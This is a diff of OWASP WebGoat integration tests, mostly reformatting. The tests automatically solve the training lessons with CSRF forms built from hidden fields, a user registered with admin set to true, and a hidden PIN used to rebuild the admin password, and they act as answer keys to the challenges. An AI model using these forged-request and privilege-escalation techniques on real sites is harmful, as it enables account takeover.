<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
|
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
|
||||||
</arguments>
|
</arguments>
|
||||||
<waitForInterrupt>false</waitForInterrupt>
|
<waitForInterrupt>false</waitForInterrupt>
|
||||||
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
|
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
|
||||||
</configuration>
|
</configuration>
|
||||||
</execution>
|
</execution>
|
||||||
<execution>
|
<execution>
|
||||||
|
@ -1,13 +1,11 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.util.Map;
|
||||||
import org.apache.http.HttpStatus;
|
import org.apache.http.HttpStatus;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
class AccessControlIntegrationTest extends IntegrationTest {
|
class AccessControlIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -21,7 +19,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void assignment3() {
|
private void assignment3() {
|
||||||
//direct call should fail if user has not been created
|
// direct call should fail if user has not been created
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
@ -31,8 +29,9 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
.then()
|
.then()
|
||||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||||
|
|
||||||
//create user
|
// create user
|
||||||
var userTemplate = """
|
var userTemplate =
|
||||||
|
"""
|
||||||
{"username":"%s","password":"%s","admin": "true"}
|
{"username":"%s","password":"%s","admin": "true"}
|
||||||
""";
|
""";
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -45,7 +44,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
.then()
|
.then()
|
||||||
.statusCode(HttpStatus.SC_OK);
|
.statusCode(HttpStatus.SC_OK);
|
||||||
|
|
||||||
//get the users
|
// get the users
|
||||||
var userHash =
|
var userHash =
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
@ -59,7 +58,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
|||||||
.jsonPath()
|
.jsonPath()
|
||||||
.get("find { it.username == \"Jerry\" }.userHash");
|
.get("find { it.username == \"Jerry\" }.userHash");
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
checkAssignment(
|
||||||
|
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment2() {
|
private void assignment2() {
|
||||||
|
@ -1,8 +1,18 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.assertj.core.api.Assertions.assertThat;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
|
|||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
import org.owasp.webgoat.container.lessons.Assignment;
|
import org.owasp.webgoat.container.lessons.Assignment;
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Path;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.assertj.core.api.Assertions.assertThat;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
|
||||||
|
|
||||||
public class CSRFIntegrationTest extends IntegrationTest {
|
public class CSRFIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML3 =
|
||||||
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
|
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
|
||||||
|
+ "</form></body></html>";
|
||||||
|
|
||||||
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML4 =
|
||||||
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
|
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
|
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
|
||||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
|
+ "<input type=\"hidden\" name=\"validateReq\""
|
||||||
"</form>\n" +
|
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
|
||||||
"</body></html>";
|
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
|
||||||
|
+ "</form>\n"
|
||||||
|
+ "</body></html>";
|
||||||
|
|
||||||
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
|
private static final String trickHTML7 =
|
||||||
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
|
||||||
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
|
+ " method=\"POST\">\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"hidden\""
|
||||||
|
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
|
||||||
|
+ " is the best!!' value='\"}' />\n"
|
||||||
|
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
|
||||||
|
+ "</form></body></html>";
|
||||||
|
|
||||||
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML8 =
|
||||||
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
|
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
|
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
|
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
|
||||||
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
|
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
|
||||||
|
+ "</form></body></html>";
|
||||||
|
|
||||||
private String webwolfFileDir;
|
private String webwolfFileDir;
|
||||||
|
|
||||||
@ -61,7 +67,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||||
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
uploadTrickHtml(
|
||||||
|
"csrf8.html",
|
||||||
|
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@TestFactory
|
@TestFactory
|
||||||
@ -70,27 +78,26 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
|
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
public void shutdown() throws IOException {
|
public void shutdown() throws IOException {
|
||||||
//logout();
|
// logout();
|
||||||
login();//because old cookie got replaced and invalidated
|
login(); // because old cookie got replaced and invalidated
|
||||||
startLesson("CSRF", false);
|
startLesson("CSRF", false);
|
||||||
checkResults("/csrf");
|
checkResults("/csrf");
|
||||||
}
|
}
|
||||||
|
|
||||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||||
|
|
||||||
//remove any left over html
|
// remove any left over html
|
||||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
||||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
||||||
}
|
}
|
||||||
|
|
||||||
//upload trick html
|
// upload trick html
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
@ -98,18 +105,25 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private String callTrickHtml(String htmlName) {
|
private String callTrickHtml(String htmlName) {
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.substring(8 + result.indexOf("action=\""));
|
result = result.substring(8 + result.indexOf("action=\""));
|
||||||
result = result.substring(0, result.indexOf("\""));
|
result = result.substring(0, result.indexOf("\""));
|
||||||
|
|
||||||
@ -117,14 +131,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment3(String goatURL) {
|
private void checkAssignment3(String goatURL) {
|
||||||
String flag = RestAssured.given()
|
String flag =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().path("flag").toString();
|
.extract()
|
||||||
|
.path("flag")
|
||||||
|
.toString();
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -138,9 +155,11 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
params.put("reviewText", "test review");
|
params.put("reviewText", "test review");
|
||||||
params.put("stars", "5");
|
params.put("stars", "5");
|
||||||
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
|
params.put(
|
||||||
|
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
|
||||||
|
|
||||||
boolean result = RestAssured.given()
|
boolean result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -148,37 +167,43 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.formParams(params)
|
.formParams(params)
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().path("lessonCompleted");
|
.extract()
|
||||||
|
.path("lessonCompleted");
|
||||||
assertEquals(true, result);
|
assertEquals(true, result);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment7(String goatURL) {
|
private void checkAssignment7(String goatURL) {
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
|
params.put(
|
||||||
|
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
|
||||||
|
+ " best!!",
|
||||||
|
"\"}");
|
||||||
|
|
||||||
String flag = RestAssured.given()
|
String flag =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||||
.contentType(ContentType.TEXT)
|
.contentType(ContentType.TEXT)
|
||||||
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
|
.body(
|
||||||
|
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
|
||||||
|
+ " the best!!=\"}")
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||||
flag = flag.substring(0, flag.indexOf("\""));
|
flag = flag.substring(0, flag.indexOf("\""));
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("confirmFlagVal", flag);
|
params.put("confirmFlagVal", flag);
|
||||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment8(String goatURL) {
|
private void checkAssignment8(String goatURL) {
|
||||||
|
|
||||||
//first make sure there is an attack csrf- user
|
// first make sure there is an attack csrf- user
|
||||||
registerCSRFUser();
|
registerCSRFUser();
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
@ -186,8 +211,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
params.put("username", "csrf-" + this.getUser());
|
params.put("username", "csrf-" + this.getUser());
|
||||||
params.put("password", "password");
|
params.put("password", "password");
|
||||||
|
|
||||||
//login and get the new cookie
|
// login and get the new cookie
|
||||||
String newCookie = RestAssured.given()
|
String newCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -195,9 +221,10 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.params(params)
|
.params(params)
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().cookie("JSESSIONID");
|
.extract()
|
||||||
|
.cookie("JSESSIONID");
|
||||||
|
|
||||||
//select the lesson
|
// select the lesson
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
@ -206,32 +233,35 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
|
|
||||||
//click on the assignment
|
// click on the assignment
|
||||||
boolean result = RestAssured.given()
|
boolean result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", newCookie)
|
.cookie("JSESSIONID", newCookie)
|
||||||
.post(url("/csrf/login"))
|
.post(url("/csrf/login"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted");
|
.extract()
|
||||||
|
.path("lessonCompleted");
|
||||||
|
|
||||||
assertThat(result).isTrue();
|
assertThat(result).isTrue();
|
||||||
|
|
||||||
login();
|
login();
|
||||||
startLesson("CSRF", false);
|
startLesson("CSRF", false);
|
||||||
|
|
||||||
Overview[] assignments = RestAssured.given()
|
Overview[] assignments =
|
||||||
|
RestAssured.given()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/service/lessonoverview.mvc"))
|
.get(url("/service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
.extract()
|
.extract()
|
||||||
.jsonPath()
|
.jsonPath()
|
||||||
.getObject("$", Overview[].class);
|
.getObject("$", Overview[].class);
|
||||||
// assertThat(assignments)
|
// assertThat(assignments)
|
||||||
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||||
// .extracting(o -> o.solved)
|
// .extracting(o -> o.solved)
|
||||||
// .containsExactly(true);
|
// .containsExactly(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
@ -240,9 +270,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
boolean solved;
|
boolean solved;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/** Try to register the new user. Ignore the result. */
|
||||||
* Try to register the new user. Ignore the result.
|
|
||||||
*/
|
|
||||||
private void registerCSRFUser() {
|
private void registerCSRFUser() {
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -253,7 +281,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.formParam("matchingPassword", "password")
|
.formParam("matchingPassword", "password")
|
||||||
.formParam("agree", "agree")
|
.formParam("agree", "agree")
|
||||||
.post(url("register.mvc"));
|
.post(url("register.mvc"));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,16 +1,13 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
|
|
||||||
|
|
||||||
public class ChallengeIntegrationTest extends IntegrationTest {
|
public class ChallengeIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@ -26,7 +23,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/challenge/logo"))
|
.get(url("/WebGoat/challenge/logo"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asByteArray();
|
.extract()
|
||||||
|
.asByteArray();
|
||||||
|
|
||||||
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
@ -34,7 +32,6 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
params.put("username", "admin");
|
params.put("username", "admin");
|
||||||
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
||||||
|
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/challenge/1"), params, true);
|
checkAssignment(url("/WebGoat/challenge/1"), params, true);
|
||||||
String result =
|
String result =
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -45,14 +42,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/challenge/1"))
|
.post(url("/WebGoat/challenge/1"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("flag", flag);
|
params.put("flag", flag);
|
||||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||||
|
|
||||||
|
|
||||||
checkResults("/challenge/1");
|
checkResults("/challenge/1");
|
||||||
|
|
||||||
List<String> capturefFlags =
|
List<String> capturefFlags =
|
||||||
@ -63,7 +60,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/scoreboard-data"))
|
.get(url("/WebGoat/scoreboard-data"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().jsonPath()
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||||
assertTrue(capturefFlags.contains("Admin lost password"));
|
assertTrue(capturefFlags.contains("Admin lost password"));
|
||||||
}
|
}
|
||||||
@ -86,14 +84,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/challenge/5"))
|
.post(url("/WebGoat/challenge/5"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("flag", flag);
|
params.put("flag", flag);
|
||||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||||
|
|
||||||
|
|
||||||
checkResults("/challenge/5");
|
checkResults("/challenge/5");
|
||||||
|
|
||||||
List<String> capturefFlags =
|
List<String> capturefFlags =
|
||||||
@ -104,9 +102,9 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/scoreboard-data"))
|
.get(url("/WebGoat/scoreboard-data"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().jsonPath()
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||||
assertTrue(capturefFlags.contains("Without password"));
|
assertTrue(capturefFlags.contains("Without password"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -2,6 +2,7 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.fail;
|
import static org.junit.jupiter.api.Assertions.fail;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.security.NoSuchAlgorithmException;
|
import java.security.NoSuchAlgorithmException;
|
||||||
import java.security.PrivateKey;
|
import java.security.PrivateKey;
|
||||||
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
|
|||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import javax.xml.bind.DatatypeConverter;
|
import javax.xml.bind.DatatypeConverter;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
||||||
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
|
|
||||||
public class CryptoIntegrationTest extends IntegrationTest {
|
public class CryptoIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignmentDefaults();
|
checkAssignmentDefaults();
|
||||||
|
|
||||||
checkResults("/crypto");
|
checkResults("/crypto");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment2() {
|
private void checkAssignment2() {
|
||||||
|
|
||||||
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
|
String basicEncoding =
|
||||||
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
